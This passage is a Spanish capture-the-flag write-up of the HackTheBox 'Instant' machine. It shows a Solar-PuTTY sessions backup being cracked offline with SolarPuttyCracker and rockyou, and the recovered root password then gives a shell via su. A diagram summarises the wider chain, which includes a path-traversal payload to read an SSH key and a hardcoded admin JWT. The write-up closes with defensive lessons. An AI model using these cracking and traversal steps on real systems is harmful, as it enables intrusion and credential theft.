Solar-PuTTY es un gestor de conexiones de SolarWinds, para Windows, que guarda las sesiones (host, puerto y credenciales) en un fichero .dat. El contenido es un blob ilegible porque está cifrado con AES, pero con una clave derivada de una contraseña que elige el usuario. Eso lo deja expuesto a un ataque de diccionario offline: nos llevamos el fichero y probamos contraseñas sin límite ni ruido, hasta que el descifrado produzca un JSON válido.

La herramienta y su origen

Para esta parte no vale una herramienta genérica, hace falta una que conozca el formato. Buscando por el nombre del fichero aparece SolarPuttyCracker, un repositorio pequeño con el script, sus dependencias y poco más.

la página de GitHub de ItsWatchMakerr/SolarPuttyCracker con README.md, SolarPuttyCracker.py y requirements.txt

github.com/ItsWatchMakerr/SolarPuttyCracker
  README.md               Added output file, verbosity and better error handling
  SolarPuttyCracker.py    Added output file, verbosity and better error handling
  requirements.txt        Added the files and fixed the error in the README file

La captura está tomada con el traductor automático del navegador activado, que castellaniza hasta el nombre del autor y el del repositorio; el enlace real es ItsWatchMakerr/SolarPuttyCracker. Lo clonamos:

git clone https://github.com/ItsWatchMakerr/SolarPuttyCracker.git
cd SolarPuttyCracker
ls

git clone descarga los 15 objetos del repositorio y ls muestra los tres ficheros

Cloning into 'SolarPuttyCracker' ...
remote: Enumerating objects: 15, done.
remote: Total 15 (delta 3), reused 10 (delta 3), pack-reused 0 (from 0)
Receiving objects: 100% (15/15), 5.91 KiB | 1.97 MiB/s, done.
Resolving deltas: 100% (3/3), done.

README.md  SolarPuttyCracker.py  requirements.txt

Su única dependencia es pycryptodome, la biblioteca que implementa el AES. En Debian y derivadas recientes pip se niega a instalar en el Python del sistema (entorno "gestionado externamente"), de ahí el --break-system-packages; lo limpio sería un virtualenv, pero para una herramienta de un solo uso basta con ser consciente de lo que se está haciendo.

pip3 install -r requirements.txt --break-system-packages
python3 SolarPuttyCracker.py

pip instala pycryptodome y la ejecución sin argumentos imprime el banner y la sintaxis de uso

Successfully installed pycryptodome-3.21.0
WARNING: Running pip as the 'root' user can result in broken permissions and conflicting
behaviour with the system package manager.

usage: SolarPuttyCracker.py [-h] (-p PASSWORD | -w WORDLIST) [-v [VERBOSE]] [-o OUTPUT] sessions_file
SolarPuttyCracker.py: error: the following arguments are required: sessions_file

Lanzarla sin argumentos es la forma más rápida de leer su interfaz: acepta o una contraseña conocida (-p) o un diccionario (-w), con salida opcional a fichero (-o) y modo verboso (-v).

Traer el fichero intacto

Aquí aparece un tropiezo que vale la pena contar. El primer intento se hizo con el texto copiado de la pantalla del cat anterior, y el descifrado falló siempre, incluso con la contraseña correcta:

Data must be padded to 8 byte boundary in CBC mode
Decryption failed with the provided password.

El mensaje es literal: el AES en modo CBC trabaja por bloques y el dato de entrada no cuadra con el tamaño de bloque. Copiar un blob Base64 desde una terminal introduce saltos de línea, recortes y espacios que lo corrompen. La solución no es insistir con más contraseñas, es traer el fichero por un canal que no lo toque. Como ya tenemos la clave SSH, sftp sirve con la misma autenticación.

sftp -i id_rsa shirohige@instant.htb

a la izquierda el error de padding en CBC; a la derecha la sesión sftp descarga sessions-backup.dat con get

Connected to instant.htb.
sftp> ls
logs        projects   user.txt
sftp> cd /opt/backups/
sftp> ls
Solar-PuTTY
sftp> cd Solar-PuTTY/
sftp> ls
sessions-backup.dat
sftp> get sessions-backup.dat /home/krmena/machines/instant/content/sessions-backup.dat
Fetching /opt/backups/Solar-PuTTY/sessions-backup.dat to /home/krmena/machines/instant/content/sessions-backup.dat
sessions-backup.dat                                    100% 1100     5.2KB/s   00:00

1100 bytes, íntegros. Ahora sí.

Descifrar y recuperar la contraseña de root

Se ataca con rockyou.txt, el diccionario clásico. La herramienta prueba cada palabra como clave de descifrado y comprueba si el resultado es un JSON válido.

python3 SolarPuttyCracker.py -w <rockyou.txt> -v -o output.txt <sessions-backup.dat> 2>/dev/null

SolarPuttyCracker prueba en modo verboso las primeras contraseñas del diccionario, todas incorrectas

Trying to decrypt using passwords from wordlist ...
Testing password '123456': Incorrect
Testing password '12345': Incorrect
Testing password '123456789': Incorrect
Testing password 'password': Incorrect
Testing password 'iloveyou': Incorrect
Testing password 'princess': Incorrect
Testing password '1234567': Incorrect

El 2>/dev/null silencia los errores de descifrado fallido, que si no inundan la pantalla. Y la contraseña de cifrado cae enseguida, dentro de las primeras palabras del diccionario: estrella.

la herramienta acierta con la contraseña estrella y guarda el resultado en output.txt

Testing password 'princesa': Incorrect
Testing password 'alexandra': Incorrect
Testing password 'alexis': Incorrect
Testing password 'jesus': Incorrect
Decryption successful using password: estrella
[+] DONE Decrypted file is saved in: output.txt

El output.txt resultante es el JSON de sesiones en claro, con la estructura interna de Solar-PuTTY.

cat output.txt

output.txt muestra la sesión Instant contra 10.10.11.37 y, en Credentials, el usuario root con su contraseña

{
    "Sessions": [ {
        "Id": "066894ee-635c-4578-86d0-d36d4838115b",
        "Ip": "10.10.11.37",
        "Port": 22,
        "SessionName": "Instant",
        "CredentialsID": "452ed919-530e-419b-b721-da76cbe8ed04",
        "LastTimeOpen": "0001-01-01T00:00:00",
        "Color": "#FF176998"
    } ],
    "Credentials": [ {
        "Id": "452ed919-530e-419b-b721-da76cbe8ed04",
        "CredentialsName": "instant-root",
        "Username": "root",
        "Password": "12**24nzC!r0c%q12",
        "PrivateKeyPath": "",
        "PrivateKeyContent": null
    } ],
    "LogsFolderDestination": "C:\\ProgramData\\SolarWinds\\Logs\\Solar-PuTTY\\SessionLogs"
}

Todo encaja: la sesión se llama Instant, apunta a 10.10.11.37:22 (esta misma máquina) y su CredentialsID enlaza con unas credenciales llamadas instant-root cuyo usuario es root. El LogsFolderDestination con una ruta C:\ProgramData\... confirma de paso que este backup viene de una estación Windows del administrador y acabó, copiado sin pensar, dentro de la máquina Linux que administra.

Con esa contraseña, un simple su root (reutilización de credenciales) nos da la shell de root.

su root
cd /root
cat root.txt

su root con la contraseña recuperada da shell de root y cat root.txt imprime la flag

shirohige@instant:~$ su root
Password:
root@instant:/home/shirohige# ls
logs  projects  user.txt
root@instant:/home/shirohige# cd /root
root@instant:~# ls
root.txt
root@instant:~# cat root.txt
30c8537cb4f215b8a063337184f5b7a9

Las dos flags entregadas cierran la máquina.

el panel de HackTheBox muestra Instant has been Pwned, con la flag de usuario ya validada

Target IP Address: 10.10.11.37
User flag owned
Instant has been Pwned!
MACHINE RANK #2374 · PWN DATE 02 Nov 2024 · POINTS EARNED 45

Cadena de ataque

instant.htb (web)
   │  descarga del .apk en /downloads
   ▼
instant.apk  ──apktool d──►  smali + network_security_config.xml
   │                              │
   │  subdominios:                │  JWT de Admin grabado en duro
   │  mywalletv1 / swagger-ui     ▼
   └──────────────►  API /api/v1 (swagger-ui)  ──Authorization: <JWT admin>──►  endpoints de admin
                                                     │
                                                     ▼
                          /admin/read/log?log_file_name=..%2F...   (path traversal)
                                                     │
                          ┌──────────────────────────┼──────────────────────────┐
                          ▼                                                       ▼
                     ..%2Fuser.txt                                       ..%2F.ssh%2Fid_rsa
                     (flag de usuario)                                   (clave SSH privada)
                                                                                 │
                                                                  ssh -i id_rsa shirohige
                                                                                 ▼
                                                                       shell como shirohige
                                                                                 │
                                                     /opt/backups/Solar-PuTTY/sessions-backup.dat
                                                                                 │
                                              SolarPuttyCracker (rockyou → "estrella")
                                                                                 ▼
                                                          output.txt → root : 12**24nzC!r0c%q12
                                                                                 │
                                                                              su root
                                                                                 ▼
                                                                           shell como root

Lecciones aprendidas

  • El binario del cliente no es secreto. Todo lo que viaja dentro de una app móvil (endpoints, subdominios, claves, tokens) es legible para quien la descargue. Aquí un .apk filtró dos vhosts que ningún diccionario habría adivinado y un JWT de administrador grabado en duro; ver análisis de APK.
  • Un JWT robado es acceso directo. El payload de un JWT solo está codificado, no cifrado; lo que protege es la firma. Un token de admin filtrado, y encima con caducidad en el año 3023, equivale a saltarse la autenticación por completo.
  • Concatenar rutas con entrada del usuario es path traversal. El endpoint de logs pegaba el nombre de fichero a un LOG_PATH fijo sin canonicalizar; con ..%2F se leen claves SSH y flags. Canonicaliza y comprueba que el resultado sigue dentro del directorio permitido (ver LFI y path traversal).
  • Los errores del servidor son información. El 500 de la ruta absoluta y el 401 de Swagger no fueron obstáculos: uno reveló que el servidor concatenaba prefijo, el otro delató Werkzeug y Flask detrás de la API.
  • Los gestores de sesiones guardan oro mal protegido. El backup de Solar-PuTTY cifraba la contraseña de root con una clave crackeable offline sin límite de intentos, y llegó ahí copiado desde una estación Windows. No dejes esos .dat en el host y prefiere autenticación por clave a contraseñas almacenadas; ver también búsqueda de credenciales.
Cheatsheet de comandos 29 comandos

Repaso rápido